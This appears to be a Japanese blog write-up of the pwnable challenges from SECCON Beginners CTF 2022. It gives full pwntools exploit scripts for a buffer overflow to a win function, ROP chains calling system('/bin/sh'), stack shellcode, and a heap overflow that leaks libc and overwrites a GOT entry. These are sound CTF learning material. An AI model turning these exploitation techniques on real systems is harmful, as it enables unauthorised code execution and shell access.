U+E000 私用領域

しがない緑茶好きのメモ的なの。

SECCON Beginners CTF 2022 write-up

try harder...

まえがき

今年も寝る時の温度調整に困る時期がやってきたので、SECCON Beginners CTF 2022が開催されました。
最初に書いておきますが、pwnableのみのwrite-upです。
他の問題はふんわりとしか解いていないので...

BeginnersBof

解析

./chall: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=86ef4ca27c36d4407e00eb318b228011ce11ac63, for GNU/Linux 3.2.0, not stripped
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

checksecで確認できるセキュリティ機構は全部なし。

解法

入力用のバッファよりも大きい入力が可能である上に、前述のようにセキュリティ機構がないのでシンプルなBoFができる。

#!/usr/bin/env python3
# -*- coding:utf-8 -*

from pwn import *
from sys import argv
from time import sleep

context.terminal = ['tmux', 'sp', '-h']
context.log_level = "debug"

chall = "./chall"
#libc = ELF()
elf = ELF(chall)
context.binary = chall
context.binary.checksec()

if len(argv) >= 2 and argv[1] == "r":
    p = remote("beginnersbof.quals.beginners.seccon.jp", 9000)
elif len(argv) >= 2 and argv[1] == "d":
        cmd = """
                b main+178
                c
        """
        p = gdb.debug(chall,cmd)
else:
    p = process(chall)


win_func_addr = elf.symbols['win']

payload = b"A" * 8 * 5
payload += p64(win_func_addr)

p.recvuntil("How long is your name?")
p.sendline(str(len(payload) + 2))
p.recvuntil("What's your name?")
p.sendline(payload)

p.interactive()

raindrop

解析

./chall: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=cba1707049faf8a4e56b2adfe2b8e9813e087e12, for GNU/Linux 3.2.0, not stripped
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

解法

PIEが無効かつcanaryがないため、ROPを組む事を考える。
しかし、入力できるバッファのサイズが0x30 byteであるのに対して、バッファからリターンアドレスまでの距離が0x18 byteであるため、残りの0x18 byteでROPを組む必要がある。
このサイズでシェルを奪うROPを組む方法を思いつかなかったため、vuln関数内のreadの処理(vuln+64)をもう一度呼び出す事にした。
手元の環境でもう一度呼び出して見ると、二回目のread関数の引数はread(0, [rbp - 0x10], 0x30)のようになる事がわかる。
この時のrbpの値はret命令直前のleave命令によってリターンアドレス前のsaved rbpの値になるため、実質的に任意のアドレスへの書き込みが可能となる。
2回目の入力で直接リターンアドレスを書き換えれば、前述の0x18 byteの制限がリターンアドレスを含めた0x30 byteまでの制限に緩和できるため、一回目の入力前のshow_stack関数の出力からスタック上のアドレスを取得し、そこから2回目の入力で直接リターンアドレスを書き換えれるアドレスまでのオフセットを求めた。
これによって、movaps命令によるスタックのアライメントに起因するエラーを回避(ret命令を一回実行するだけ)しつつsystem関数の引数を設定してシェルを起動するROPを組む事ができる。
(exploitではpayloadのダイエットのために一回目のバッファに/bin/shを置いているが、2回目のペイロードの制限である0x30 byteまで余裕があるので必要ではない...)

#!/usr/bin/env python3
# -*- coding:utf-8 -*

from pwn import *
from sys import argv
from time import sleep

context.terminal = ['tmux', 'sp', '-h']
context.log_level = "debug"

chall = "./chall"
#libc = ELF()
elf = ELF(chall)
context.binary = chall
context.binary.checksec()

if len(argv) >= 2 and argv[1] == "r":
    p = remote("raindrop.quals.beginners.seccon.jp", 9001)
elif len(argv) >= 2 and argv[1] == "d":
        cmd = """
                b *vuln+112
                c
        """
        p = gdb.debug(chall,cmd)
else:
    p = process(chall)


# Get stack address
p.recvuntil("000002 | ")
## 1st payload start address
payload_addr = eval(p.recv(18)) - 0x20
log.info("payload@stack: " + hex(payload_addr))
## 2nd payload start address
payload_2nd_addr = payload_addr + 0x18
log.info("payload2@stack: " + hex(payload_2nd_addr))

# 1st payload (recall read@vuln)
payload = b'/bin/sh\0'
payload += b'A' * 8
payload += p64(payload_2nd_addr + 0x10)# saved rbp
payload += p64(0x401246)# vuln+64
## read(0, [saved rbp - 0x10], 0x30)

# 2nd payload (exec shell)
payload2 = p64(0x401453)# pop rdi; ret
payload2 += p64(payload_addr)
payload2 += p64(0x40101a)# ret (for movaps)
payload2 += p64(elf.plt['system'])

p.recvuntil("Did you understand?")
p.sendline(payload)
sleep(1)
p.sendline(payload2)

p.interactive()

[追記] 競技後にRIRUさんからもっとシンプルにまとめる案をいただきました。
一回目の時点でバッファのアドレスはわかっているため、バッファ内に/bin/shを置くのはそのままで、残りの0x18 byteをそれぞれ、
1. pop rdi; ret;
2. /bin/shのアドレス
3. system@plt

として使用する方法です。

#!/usr/bin/env python3
# -*- coding:utf-8 -*

from pwn import *
from sys import argv
from time import sleep

context.terminal = ['tmux', 'sp', '-h']
context.log_level = "debug"

chall = "./chall"
#libc = ELF()
elf = ELF(chall)
context.binary = chall
context.binary.checksec()

if len(argv) >= 2 and argv[1] == "r":
    p = remote("raindrop.quals.beginners.seccon.jp", 9001)
elif len(argv) >= 2 and argv[1] == "d":
        cmd = """
                b *vuln+112
                c
        """
        p = gdb.debug(chall,cmd)
else:
    p = process(chall)


# Get stack address
p.recvuntil("000002 | ")
## payload start address
buf_addr = eval(p.recv(18)) - 0x20
log.info("buffer@stack: " + hex(buf_addr))

# payload
payload = b'/bin/sh\0'
payload += b'A' * 8
payload += p64(0x40101a)# pop rdi; ret
payload += p64(buf_addr)
payload += p64(elf.plt['system'])

p.recvuntil("Did you understand?")
p.sendline(payload)

p.interactive()

一発で通るしこっちの方がシンプルでいいですね。
RIRUさん、ありがとうございました。

snowdrop

解析

./chall: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, BuildID[sha1]=9e7476418f9c7f3e7069f3b041c09ed5e46aa64f, for GNU/Linux 3.2.0, not stripped

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments

解法

スタック領域が実行可能なので、スタック上でのシェルコード実行を考える。
raindropと同じ要領でスタック上のアドレスを取得し、リターンアドレスをスタック上のシェルコードのアドレスに書き換えた。

#!/usr/bin/env python3
# -*- coding:utf-8 -*

from pwn import *
from sys import argv
from time import sleep

context.terminal = ['tmux', 'sp', '-h']
context.log_level = "debug"

chall = "./chall"
#libc = ELF()
elf = ELF(chall)
context.binary = chall
context.binary.checksec()

if len(argv) >= 2 and argv[1] == "r":
    p = remote("snowdrop.quals.beginners.seccon.jp", 9002)
elif len(argv) >= 2 and argv[1] == "d":
        cmd = """
                b *main+107
                c
        """
        p = gdb.debug(chall,cmd)
else:
    p = process(chall)

p.recvuntil("000006 | ")
payload_addr = eval(p.recv(18)) -0x268
log.info("payload@stack: " + hex(payload_addr))

payload = b""
payload += b'A' * 8 * 3
payload += p64(payload_addr + len(payload) + 8)
payload += asm(shellcraft.sh())

p.recvuntil("Did you understand?")
p.sendline(payload)

p.interactive()

simplelist

解析

./chall: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /home/t3mp/ctf/seccon_beginners_2022/pwn/simplelist/ld-2.33.so, for GNU/Linux 3.2.0, BuildID[sha1]=c1ea22cea66863313f8fa1c228051f7d991d4dcb, not stripped

    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x3fe000)

解法

問題にglibc 2.33が同梱されていたため、「2.32以降のglibcの問題に取り組んだ事ないから詰んだか...?」と焦ったが、よくよく見てみるとcreate関数とedit関数に自明なheap overflowがあったので安心した...
(house of * 周りも精進したい)

void create() {
---- snipped ----
     gets(e->content);// overflow
     e->next = NULL;
     list_add(e);
}
void edit() {
---- snipped ----
    printf("New content: ");
    gets(e->content);// overflow
}

これらの関数によって管理されるメモは、

typedef struct memo {
    struct memo *next;
    char content[CONTENT_SIZE];
} Memo;

のような構造で管理されているため、heap overflowによって次のメモのアドレス(*next)を書き換える事が出来る。
libcのアドレスをリークしないとシェルを奪うのに不便なので、てきとうにsetvbuf関数のGOTをnextに置く事で、libc上のsetvbuf関数のアドレスをリークする。
(ただしshow関数を使用してアドレスをリークしようとするとsetvbuf関数の機械語をポインタとして参照しようとしてSIGSEGVで落ちるので、edit関数のOld contentを通してリークする。)
アドレスリークによってlibc上のsystem関数のアドレスを算出できるので、メニュー選択で使用するatoi関数のGOTをsystem関数に書き換え、シェルを起動する。

#!/usr/bin/env python3
# -*- coding:utf-8 -*

from pwn import *
from sys import argv
from time import sleep

context.terminal = ['tmux', 'sp', '-h']
context.log_level = "debug"

chall = "./chall"
libc = ELF("./libc-2.33.so")
elf = ELF(chall)
context.binary = chall
context.binary.checksec()

if len(argv) >= 2 and argv[1] == "r":
    p = remote("simplelist.quals.beginners.seccon.jp", 9003)
elif len(argv) >= 2 and argv[1] == "d":
        cmd = """
                c
        loadsym
        """
        p = gdb.debug(chall,cmd)
else:
    p = process(chall)


def create(buf):
    p.recvuntil(">")
    p.sendline('1')
    p.recvuntil("Content:")
    p.sendline(buf)

def edit(index, buf):
    p.recvuntil(">")
    p.sendline('2')
    p.recvuntil("index:")
    p.sendline(str(index))
    p.recvuntil("New content:")
    p.sendline(buf)


create(b'A' * 0x20)
create(b'B' * 0x20)

# overwrite next address(index=1)
payload = b'C' * 0x20# buffer for index 0
payload += p64(0x31) # heap chunk header
payload += p64(elf.got['setvbuf'] - 0x8)# next address
edit(0, payload)

# leak libc address
p.recvuntil(">")
p.sendline('2')
p.recvuntil("index:")
p.sendline(str(2))
p.recvuntil("Old content: ")
setvbuf_libc_addr = u64(p.recvline().rstrip(b'\n') + b'\00' * 2)
log.info("setvbuf@libc: " + hex(setvbuf_libc_addr))
libc_base = setvbuf_libc_addr - libc.symbols['setvbuf']
log.info("libc base: " + hex(libc_base))
system_libc_addr = libc_base + libc.symbols['system']
log.info("system@libc: " + hex(system_libc_addr))
p.recvuntil("New content:")
p.sendline(b'')

# GOT overwrite (atoi@got -> system@libc)
payload = b'C' * 0x20# buffer for index 0
payload += p64(0x31) # heap chunk header
payload += p64(elf.got['atoi'] - 0x8)
edit(0, payload)
edit(2, p64(system_libc_addr))

# exec shell
p.recvuntil(">")
p.sendline("/bin/sh")

p.interactive()

あとがき

Monkey Heap倒して全完したかった...
SECCON Beginners CTFは毎年悔しい思い出ができるので、精進しなくてはという気持ちに駆られる。